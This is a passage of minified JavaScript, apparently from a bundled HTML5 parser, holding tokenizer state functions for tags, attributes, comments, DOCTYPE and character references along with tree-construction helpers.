RA(){f=""}function fA(){N=""}function LA(){T.length=0}function SA(){C.length=0,R=null,x=null}function xA(){R=[]}function iA(){x=[]}function lA(){HA=!0}function v1(){return u.top&&u.top.namespaceURI!=="http://www.w3.org/1999/xhtml"}function I1(IA){return M===IA}function Q1(){if(JA.length>0){var IA=Pj(JA);if(JA.length=0,MA){if(MA=!1,IA[0]===` `)IA=IA.substring(1);if(IA.length===0)return}DA(iMA,IA),jA=!1}MA=!1}function B1(IA){IA.lastIndex=w-1;var bA=IA.exec(Y);if(bA&&bA.index===w-1){if(bA=bA[0],w+=bA.length-1,H&&w===z)bA=bA.slice(0,-1),w--;return bA}else throw Error("should never happen")}function C6(IA){IA.lastIndex=w-1;var bA=IA.exec(Y)[0];if(!bA)return!1;return w1(bA),w+=bA.length-1,!0}function w1(IA){if(JA.length>0)Q1();if(MA){if(MA=!1,IA[0]===` `)IA=IA.substring(1);if(IA.length===0)return}DA(iMA,IA)}function $1(){if(B)DA(p9,j);else{var IA=j;j="",M=IA,DA(Mj,IA,y)}}function N1(){if(w===z)return!1;yYK.lastIndex=w;var IA=yYK.exec(Y);if(!IA)throw Error("should never happen");var bA=IA[2];if(!bA)return!1;var D1=IA[1];if(D1)w+=bA.length+2,DA(p9,bA);else w+=bA.length+1,M=bA,DA(Mj,bA,tT2);return!0}function A6(){if(B)DA(p9,j,null,!0);else DA(Mj,j,y,!0)}function c1(){DA(sT2,Pj(C),R?Pj(R):void 0,x?Pj(x):void 0)}function w6(){Q1(),b(zf1),yA.modclock=1}var DA=hA.insertToken=function(bA,D1,W6,p6){Q1();var U8=u.top;if(!U8||U8.namespaceURI===Aq.HTML)b(bA,D1,W6,p6);else if(bA!==Mj&&bA!==iMA)Sj(bA,D1,W6,p6);else if(SYK(U8)&&(bA===iMA||bA===Mj&&D1!=="mglyph"&&D1!=="malignmark")||bA===Mj&&D1==="svg"&&U8.namespaceURI===Aq.MATHML&&U8.localName==="annotation-xml"||hYK(U8))a=!0,b(bA,D1,W6,p6),a=!1;else Sj(bA,D1,W6,p6)};function EA(IA){var bA=u.top;if(aA&&o2(bA,nMA))U6(function(D1){return D1.createComment(IA)});else{if(bA instanceof r2.HTMLTemplateElement)bA=bA.content;bA._appendChild(bA.ownerDocument.createComment(IA))}}function rA(IA){var bA=u.top;if(aA&&o2(bA,nMA))U6(function(W6){return W6.createTextNode(IA)});else{if(bA instanceof r2.HTMLTemplateElement)bA=bA.content;var D1=bA.lastChild;if(D1&&D1.nodeType===jb6.TEXT_NODE)D1.appendData(IA);else bA._appendChild(bA.ownerDocument.createTextNode(IA))}}function J1(IA,bA,D1){var W6=BYK.createElement(IA,bA,null);if(D1)for(var p6=0,U8=D1.length;p6<U8;p6++)W6._setAttribute(D1[p6][0],D1[p6][1]);return W6}var aA=!1;function z1(IA,bA){var D1=f1(function(W6){return J1(W6,IA,bA)});if(o2(D1,QYK))D1._form=YA;return D1}function f1(IA){var bA;if(aA&&o2(u.top,nMA))bA=U6(IA);else if(u.top instanceof r2.HTMLTemplateElement)bA=IA(u.top.content.ownerDocument),u.top.content._appendChild(bA);else bA=IA(u.top.ownerDocument),u.top._appendChild(bA);return u.push(bA),bA}function T1(IA,bA,D1){return f1(function(W6){var p6=W6._createElementNS(IA,D1,null);if(bA)for(var U8=0,DK=bA.length;U8<DK;U8++){var J5=bA[U8];if(J5.length===2)p6._setAttribute(J5[0],J5[1]);else p6._setAttributeNS(J5[2],J5[0],J5[1])}return p6})}function K6(IA){for(var bA=u.elements.length-1;bA>=0;bA--)if(u.elements[bA]instanceof IA)return bA;return-1}function U6(IA){var bA,D1,W6=-1,p6=-1,U8;if(W6=K6(r2.HTMLTableElement),p6=K6(r2.HTMLTemplateElement),p6>=0&&(W6<0||p6>W6))bA=u.elements[p6];else if(W6>=0)if(bA=u.elements[W6].parentNode,bA)D1=u.elements[W6];else bA=u.elements[W6-1];if(!bA)bA=u.elements[0];if(bA instanceof r2.HTMLTemplateElement)bA=bA.content;if(U8=IA(bA.ownerDocument),U8.nodeType===jb6.TEXT_NODE){var DK;if(D1)DK=D1.previousSibling;else DK=bA.lastChild;if(DK&&DK.nodeType===jb6.TEXT_NODE)return DK.appendData(U8.data),U8}if(D1)bA.insertBefore(U8,D1);else bA._appendChild(U8);return U8}function e8(){var IA=!1;for(var bA=u.elements.length-1;bA>=0;bA--){var D1=u.elements[bA];if(bA===0){if(IA=!0,r)D1=K}if(D1.namespaceURI===Aq.HTML){var W6=D1.localName;switch(W6){case"select":for(var p6=bA;p6>0;){var U8=u.elements[--p6];if(U8 instanceof r2.HTMLTemplateElement)break;else if(U8 instanceof r2.HTMLTableElement){b=MN;return}}b=w2;return;case"tr":b=Yq;return;case"tbody":case"tfoot":case"thead":b=C9;return;case"caption":b=C5;return;case"colgroup":b=A3;return;case"table":b=_4;return;case"template":b=Q[Q.length-1];return;case"body":b=j1;return;case"frameset":b=Wh;return;case"html":if(c===null)b=ww;else b=v2;return;default:if(!IA){if(W6==="head"){b=e5;return}if(W6==="td"||W6==="th"){b=hz;return}}}}if(IA){b=j1;return}}}function D8(IA,bA){z1(IA,bA),Z=I3,F=b,b=s6}function Y7(IA,bA){z1(IA,bA),Z=X9,F=b,b=s6}function T7(IA,bA){return{elt:J1(IA,d.list[bA].localName,d.attrs[bA]),attrs:d.attrs[bA]}}function H4(){if(d.list.length===0)return;var IA=d.list[d.list.length-1];if(IA===d.MARKER)return;if(u.elements.lastIndexOf(IA)!==-1)return;for(var bA=d.list.length-2;bA>=0;bA--){if(IA=d.list[bA],IA===d.MARKER)break;if(u.elements.lastIndexOf(IA)!==-1)break}for(bA=bA+1;bA<d.list.length;bA++){var D1=f1(function(W6){return T7(W6,bA).elt});d.list[bA]=D1}}var u7={localName:"BM"};function s7(IA){if(o2(u.top,IA)&&d.indexOf(u.top)===-1)return u.pop(),!0;var bA=0;while(bA<8){bA++;var D1=d.findElementByTag(IA);if(!D1)return!1;var W6=u.elements.lastIndexOf(D1);if(W6===-1)return d.remove(D1),!0;if(!u.elementInScope(D1))return!0;var p6=null,U8;for(var DK=W6+1;DK<u.elements.length;DK++)if(o2(u.elements[DK],z9A)){p6=u.elements[DK],U8=DK;break}if(!p6)return u.popElement(D1),d.remove(D1),!0;else{var J5=u.elements[W6-1];d.insertAfter(D1,u7);var qY=p6,TH=p6,cJ=U8,YY,HJ=0;while(!0){if(HJ++,qY=u.elements[--cJ],qY===D1)break;if(YY=d.indexOf(qY),HJ>3&&YY!==-1)d.remove(qY),YY=-1;if(YY===-1){u.removeElement(qY);continue}var b0=T7(J5.ownerDocument,YY);if(d.replace(qY,b0.elt,b0.attrs),u.elements[cJ]=b0.elt,qY=b0.elt,TH===p6)d.remove(u7),d.insertAfter(b0.elt,u7);qY._appendChild(TH),TH=qY}if(aA&&o2(J5,nMA))U6(function(){return TH});else if(J5 instanceof r2.HTMLTemplateElement)J5.content._appendChild(TH);else J5._appendChild(TH);var IO=T7(p6.ownerDocument,d.indexOf(D1));while(p6.hasChildNodes())IO.elt._appendChild(p6.firstChild);p6._appendChild(IO.elt),d.remove(D1),d.replace(u7,IO.elt,IO.attrs),u.removeElement(D1);var KR=u.elements.lastIndexOf(p6);u.elements.splice(KR+1,0,IO.elt)}}return!0}function k5(){u.pop(),b=F;return}function iq(){if(delete yA._parser,u.elements.length=0,yA.defaultView)yA.defaultView.dispatchEvent(new r2.Event("load",{}))}function r8(IA,bA){Z=bA,w--}function E8(IA){switch(IA){case 38:W=E8,Z=yO;break;case 60:if(N1())break;Z=dY;break;case 0:JA.push(IA),jA=!0;break;case-1:w6();break;default:C6(_v2)||JA.push(IA);break}}function X9(IA){switch(IA){case 38:W=X9,Z=yO;break;case 60:Z=EY;break;case 0:JA.push(65533),jA=!0;break;case-1:w6();break;default:JA.push(IA);break}}function I3(IA){switch(IA){case 60:Z=_9;break;case 0:JA.push(65533);break;case-1:w6();break;default:C6(RYK)||JA.push(IA);break}}function Z3(IA){switch(IA){case 60:Z=T6;break;case 0:JA.push(65533);break;case-1:w6();break;default:C6(RYK)||JA.push(IA);break}}function S3(IA){switch(IA){case 0:JA.push(65533);break;case-1:w6();break;default:C6(Gv2)||JA.push(IA);break}}function dY(IA){switch(IA){case 33:Z=j4;break;case 47:Z=vY;break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:XA(),r8(IA,$9);break;case 63:r8(IA,Z8);break;default:JA.push(60),r8(IA,E8);break}}function vY(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:VA(),r8(IA,$9);break;case 62:Z=E8;break;case-1:JA.push(60),JA.push(47),w6();break;default:r8(IA,Z8);break}}function $9(IA){switch(IA){case 9:case 10:case 12:case 32:Z=gA;break;case 47:Z=Z6;break;case 62:Z=E8,$1();break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:j+=String.fromCharCode(IA+32);break;case 0:j+=String.fromCharCode(65533);break;case-1:w6();break;default:j+=B1(Ov2);break}}function EY(IA){if(IA===47)vA(),Z=Yw;else JA.push(60),r8(IA,X9)}function Yw(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:VA(),r8(IA,QK);break;default:JA.push(60),JA.push(47),r8(IA,X9);break}}function QK(IA){switch(IA){case 9:case 10:case 12:case 32:if(I1(j)){Z=gA;return}break;case 47:if(I1(j)){Z=Z6;return}break;case 62:if(I1(j)){Z=E8,$1();return}break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:j+=String.fromCharCode(IA+32),P.push(IA);return;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:j+=String.fromCharCode(IA),P.push(IA);return;default:break}JA.push(60),JA.push(47),q9A(JA,P),r8(IA,X9)}function _9(IA){if(IA===47)vA(),Z=kY;else JA.push(60),r8(IA,I3)}function kY(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:VA(),r8(IA,gq);break;default:JA.push(60),JA.push(47),r8(IA,I3);break}}function gq(IA){switch(IA){case 9:case 10:case 12:case 32:if(I1(j)){Z=gA;return}break;case 47:if(I1(j)){Z=Z6;return}break;case 62:if(I1(j)){Z=E8,$1();return}break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:j+=String.fromCharCode(IA+32),P.push(IA);return;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:j+=String.fromCharCode(IA),P.push(IA);return;default:break}JA.push(60),JA.push(47),q9A(JA,P),r8(IA,I3)}function T6(IA){switch(IA){case 47:vA(),Z=W7;break;case 33:Z=n4,JA.push(60),JA.push(33);break;default:JA.push(60),r8(IA,Z3);break}}function W7(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:VA(),r8(IA,Q8);break;default:JA.push(60),JA.push(47),r8(IA,Z3);break}}function Q8(IA){switch(IA){case 9:case 10:case 12:case 32:if(I1(j)){Z=gA;return}break;case 47:if(I1(j)){Z=Z6;return}break;case 62:if(I1(j)){Z=E8,$1();return}break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:j+=String.fromCharCode(IA+32),P.push(IA);return;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:j+=String.fromCharCode(IA),P.push(IA);return;default:break}JA.push(60),JA.push(47),q9A(JA,P),r8(IA,Z3)}function n4(IA){if(IA===45)Z=Xq,JA.push(45);else r8(IA,Z3)}function Xq(IA){if(IA===45)Z=Y4,JA.push(45);else r8(IA,Z3)}function IK(IA){switch(IA){case 45:Z=h3,JA.push(45);break;case 60:Z=c8;break;case 0:JA.push(65533);break;case-1:w6();break;default:JA.push(IA);break}}function h3(IA){switch(IA){case 45:Z=Y4,JA.push(45);break;case 60:Z=c8;break;case 0:Z=IK,JA.push(65533);break;case-1:w6();break;default:Z=IK,JA.push(IA);break}}function Y4(IA){switch(IA){case 45:JA.push(45);break;case 60:Z=c8;break;case 62:Z=Z3,JA.push(62);break;case 0:Z=IK,JA.push(65533);break;case-1:w6();break;default:Z=IK,JA.push(IA);break}}function c8(IA){switch(IA){case 47:vA(),Z=z4;break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:vA(),JA.push(60),r8(IA,p3);break;default:JA.push(60),r8(IA,IK);break}}function z4(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:VA(),r8(IA,$q);break;default:JA.push(60),JA.push(47),r8(IA,IK);break}}function $q(IA){switch(IA){case 9:case 10:case 12:case 32:if(I1(j)){Z=gA;return}break;case 47:if(I1(j)){Z=Z6;return}break;case 62:if(I1(j)){Z=E8,$1();return}break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:j+=String.fromCharCode(IA+32),P.push(IA);return;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:j+=String.fromCharCode(IA),P.push(IA);return;default:break}JA.push(60),JA.push(47),q9A(JA,P),r8(IA,IK)}function p3(IA){switch(IA){case 9:case 10:case 12:case 32:case 47:case 62:if(Pj(P)==="script")Z=b5;else Z=IK;JA.push(IA);break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:P.push(IA+32),JA.push(IA);break;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:P.push(IA),JA.push(IA);break;default:r8(IA,IK);break}}function b5(IA){switch(IA){case 45:Z=W3,JA.push(45);break;case 60:Z=NA,JA.push(60);break;case 0:JA.push(65533);break;case-1:w6();break;default:JA.push(IA);break}}function W3(IA){switch(IA){case 45:Z=q1,JA.push(45);break;case 60:Z=NA,JA.push(60);break;case 0:Z=b5,JA.push(65533);break;case-1:w6();break;default:Z=b5,JA.push(IA);break}}function q1(IA){switch(IA){case 45:JA.push(45);break;case 60:Z=NA,JA.push(60);break;case 62:Z=Z3,JA.push(62);break;case 0:Z=b5,JA.push(65533);break;case-1:w6();break;default:Z=b5,JA.push(IA);break}}function NA(IA){if(IA===47)vA(),Z=ZA,JA.push(47);else r8(IA,b5)}function ZA(IA){switch(IA){case 9:case 10:case 12:case 32:case 47:case 62:if(Pj(P)==="script")Z=IK;else Z=b5;JA.push(IA);break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:P.push(IA+32),JA.push(IA);break;case 97:case 98:case 99:case 100:case 101:case 102:case 103:case 104:case 105:case 106:case 107:case 108:case 109:case 110:case 111:case 112:case 113:case 114:case 115:case 116:case 117:case 118:case 119:case 120:case 121:case 122:P.push(IA),JA.push(IA);break;default:r8(IA,b5);break}}function gA(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 47:Z=Z6;break;case 62:Z=E8,$1();break;case-1:w6();break;case 61:RA(),f+=String.fromCharCode(IA),Z=pA;break;default:if(t())break;RA(),r8(IA,pA);break}}function pA(IA){switch(IA){case 9:case 10:case 12:case 32:case 47:case 62:case-1:r8(IA,dA);break;case 61:Z=G1;break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:f+=String.fromCharCode(IA+32);break;case 0:f+=String.fromCharCode(65533);break;case 34:case 39:case 60:default:f+=B1(Xv2);break}}function dA(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 47:OA(f),Z=Z6;break;case 61:Z=G1;break;case 62:Z=E8,OA(f),$1();break;case-1:OA(f),w6();break;default:OA(f),RA(),r8(IA,pA);break}}function G1(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 34:fA(),Z=R1;break;case 39:fA(),Z=u1;break;case 62:default:fA(),r8(IA,s1);break}}function R1(IA){switch(IA){case 34:OA(f,N),Z=E1;break;case 38:W=R1,Z=yO;break;case 0:N+=String.fromCharCode(65533);break;case-1:w6();break;case 10:N+=String.fromCharCode(IA);break;default:N+=B1(wv2);break}}function u1(IA){switch(IA){case 39:OA(f,N),Z=E1;break;case 38:W=u1,Z=yO;break;case 0:N+=String.fromCharCode(65533);break;case-1:w6();break;case 10:N+=String.fromCharCode(IA);break;default:N+=B1(Hv2);break}}function s1(IA){switch(IA){case 9:case 10:case 12:case 32:OA(f,N),Z=gA;break;case 38:W=s1,Z=yO;break;case 62:OA(f,N),Z=E8,$1();break;case 0:N+=String.fromCharCode(65533);break;case-1:w--,Z=E8;break;case 34:case 39:case 60:case 61:case 96:default:N+=B1(Jv2);break}}function E1(IA){switch(IA){case 9:case 10:case 12:case 32:Z=gA;break;case 47:Z=Z6;break;case 62:Z=E8,$1();break;case-1:w6();break;default:r8(IA,gA);break}}function Z6(IA){switch(IA){case 62:Z=E8,A6(!0);break;case-1:w6();break;default:r8(IA,gA);break}}function Z8(IA,bA,D1){var W6=bA.length;if(D1)w+=W6-1;else w+=W6;var p6=bA.substring(0,W6-1);p6=p6.replace(/\u0000/g,"�"),p6=p6.replace(/\u000D\u000A/g,` `),p6=p6.replace(/\u000D/g,` `),DA(Wm,p6),Z=E8}Z8.lookahead=">";function j4(IA,bA,D1){if(bA[0]==="-"&&bA[1]==="-"){w+=2,LA(),Z=d4;return}if(bA.toUpperCase()==="DOCTYPE")w+=7,Z=NH;else if(bA==="[CDATA["&&v1())w+=7,Z=I0;else Z=Z8}j4.lookahead=7;function d4(IA){switch(LA(),IA){case 45:Z=r4;break;case 62:Z=E8,DA(Wm,Pj(T));break;default:r8(IA,U7);break}}function r4(IA){switch(IA){case 45:Z=C0;break;case 62:Z=E8,DA(Wm,Pj(T));break;case-1:DA(Wm,Pj(T)),w6();break;default:T.push(45),r8(IA,U7);break}}function U7(IA){switch(IA){case 60:T.push(IA),Z=Fq;break;case 45:Z=pw;break;case 0:T.push(65533);break;case-1:DA(Wm,Pj(T)),w6();break;default:T.push(IA);break}}function Fq(IA){switch(IA){case 33:T.push(IA),Z=z2;break;case 60:T.push(IA);break;default:r8(IA,U7);break}}function z2(IA){switch(IA){case 45:Z=b3;break;default:r8(IA,U7);break}}function b3(IA){switch(IA){case 45:Z=zw;break;default:r8(IA,pw);break}}function zw(IA){switch(IA){case 62:case-1:r8(IA,C0);break;default:r8(IA,C0);break}}function pw(IA){switch(IA){case 45:Z=C0;break;case-1:DA(Wm,Pj(T)),w6();break;default:T.push(45),r8(IA,U7);break}}function C0(IA){switch(IA){case 62:Z=E8,DA(Wm,Pj(T));break;case 33:Z=zJ;break;case 45:T.push(45);break;case-1:DA(Wm,Pj(T)),w6();break;default:T.push(45),T.push(45),r8(IA,U7);break}}function zJ(IA){switch(IA){case 45:T.push(45),T.push(45),T.push(33),Z=pw;break;case 62:Z=E8,DA(Wm,Pj(T));break;case-1:DA(Wm,Pj(T)),w6();break;default:T.push(45),T.push(45),T.push(33),r8(IA,U7);break}}function NH(IA){switch(IA){case 9:case 10:case 12:case 32:Z=dw;break;case-1:SA(),lA(),c1(),w6();break;default:r8(IA,dw);break}}function dw(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:SA(),C.push(IA+32),Z=L0;break;case 0:SA(),C.push(65533),Z=L0;break;case 62:SA(),lA(),Z=E8,c1();break;case-1:SA(),lA(),c1(),w6();break;default:SA(),C.push(IA),Z=L0;break}}function L0(IA){switch(IA){case 9:case 10:case 12:case 32:Z=Kz;break;case 62:Z=E8,c1();break;case 65:case 66:case 67:case 68:case 69:case 70:case 71:case 72:case 73:case 74:case 75:case 76:case 77:case 78:case 79:case 80:case 81:case 82:case 83:case 84:case 85:case 86:case 87:case 88:case 89:case 90:C.push(IA+32);break;case 0:C.push(65533);break;case-1:lA(),c1(),w6();break;default:C.push(IA);break}}function Kz(IA,bA,D1){switch(IA){case 9:case 10:case 12:case 32:w+=1;break;case 62:Z=E8,w+=1,c1();break;case-1:lA(),c1(),w6();break;default:if(bA=bA.toUpperCase(),bA==="PUBLIC")w+=6,Z=bP;else if(bA==="SYSTEM")w+=6,Z=R0;else lA(),Z=dJ;break}}Kz.lookahead=6;function bP(IA){switch(IA){case 9:case 10:case 12:case 32:Z=x_;break;case 34:xA(),Z=RX;break;case 39:xA(),Z=$Z;break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function x_(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 34:xA(),Z=RX;break;case 39:xA(),Z=$Z;break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function RX(IA){switch(IA){case 34:Z=u$;break;case 0:R.push(65533);break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:R.push(IA);break}}function $Z(IA){switch(IA){case 39:Z=u$;break;case 0:R.push(65533);break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:R.push(IA);break}}function u$(IA){switch(IA){case 9:case 10:case 12:case 32:Z=wJ;break;case 62:Z=E8,c1();break;case 34:iA(),Z=nq;break;case 39:iA(),Z=pJ;break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function wJ(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 62:Z=E8,c1();break;case 34:iA(),Z=nq;break;case 39:iA(),Z=pJ;break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function R0(IA){switch(IA){case 9:case 10:case 12:case 32:Z=t5;break;case 34:iA(),Z=nq;break;case 39:iA(),Z=pJ;break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function t5(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 34:iA(),Z=nq;break;case 39:iA(),Z=pJ;break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:lA(),Z=dJ;break}}function nq(IA){switch(IA){case 34:Z=y0;break;case 0:x.push(65533);break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:x.push(IA);break}}function pJ(IA){switch(IA){case 39:Z=y0;break;case 0:x.push(65533);break;case 62:lA(),Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:x.push(IA);break}}function y0(IA){switch(IA){case 9:case 10:case 12:case 32:break;case 62:Z=E8,c1();break;case-1:lA(),c1(),w6();break;default:Z=dJ;break}}function dJ(IA){switch(IA){case 62:Z=E8,c1();break;case-1:c1(),w6();break;default:break}}function I0(IA){switch(IA){case 93:Z=u_;break;case-1:w6();break;case 0:jA=!0;default:C6($v2)||JA.push(IA);break}}function u_(IA){switch(IA){case 93:Z=S0;break;default:JA.push(93),r8(IA,I0);break}}function S0(IA){switch(IA){case 93:JA.push(93);break;case 62:Q1(),Z=E8;break;default:JA.push(93),JA.push(93),r8(IA,I0);break}}function yO(IA){switch(vA(),P.push(38),IA){case 9:case 10:case 12:case 32:case 60:case 38:case-1:r8(IA,rq);break;case 35:P.push(IA),Z=x3;break;default:r8(IA,yX);break}}function yX(IA){LYK.lastIndex=w;var bA=LYK.exec(Y);if(!bA)throw Error("should never happen");var D1=bA[1];if(!D1){Z=rq;return}switch(w+=D1.length,q9A(P,Wv2(D1)),W){case R1:case u1:case s1:if(D1[D1.length-1]!==";"){if(/[=A-Za-z0-9]/.test(Y[w])){Z=rq;return}}break;default:break}vA();var W6=Yv2[D1];if(typeof W6==="number")P.push(W6);else q9A(P,W6);Z=rq}yX.lookahead=-zv2;function x3(IA){switch(D=0,IA){case 120:case 88:P.push(IA),Z=IX;break;default:r8(IA,h0);break}}function IX(IA){switch(IA){case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:case 65:case 66:case 67:case 68:case 69:case 70:case 97:case 98:case 99:case 100:case 101:case 102:r8(IA,N8);break;default:r8(IA,rq);break}}function h0(IA){switch(IA){case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:r8(IA,M8);break;default:r8(IA,rq);break}}function N8(IA){switch(IA){case 65:case 66:case 67:case 68:case 69:case 70:D*=16,D+=IA-55;break;case 97:case 98:case 99:case 100:case 101:case 102:D*=16,D+=IA-87;break;case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:D*=16,D+=IA-48;break;case 59:Z=V7;break;default:r8(IA,V7);break}}function M8(IA){switch(IA){case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:D*=10,D+=IA-48;break;case 59:Z=V7;break;default:r8(IA,V7);break}}function V7(IA){if(D in CYK)D=CYK[D];else if(D>1114111||D>=55296&&D<57344)D=65533;if(vA(),D<=65535)P.push(D);else D=D-65536,P.push(55296+(D>>10)),P.push(56320+(D&1023));r8(IA,rq)}function rq(IA){switch(W){case R1:case u1:case s1:N+=Pj(P);break;default:q9A(JA,P);break}r8(IA,W)}function G9(IA,bA,D1,W6){switch(IA){case 1:if(bA=bA.replace(Y9A,""),bA.length===0)return;break;case 4:yA._appendChild(yA.createComment(bA));return;case 5:var p6=bA,U8=D1,DK=W6;if(yA.appendChild(new aT2(yA,p6,U8,DK)),HA||p6.toLowerCase()!=="html"||eT2.test(U8)||DK&&DK.toLowerCase()===Av2||DK===void 0&&TYK.test(U8))yA._quirks=!0;else if(Kv2.test(U8)||DK!==void 0&&TYK.test(U8))yA._limitedQuirks=!0;b=CY;return}yA._quirks=!0,b=CY,b(IA,bA,D1,W6)}function CY(IA,bA,D1,W6){var p6;switch(IA){case 1:if(bA=bA.replace(Y9A,""),bA.length===0)return;break;case 5:return;case 4:yA._appendChild(yA.createComment(bA));return;case 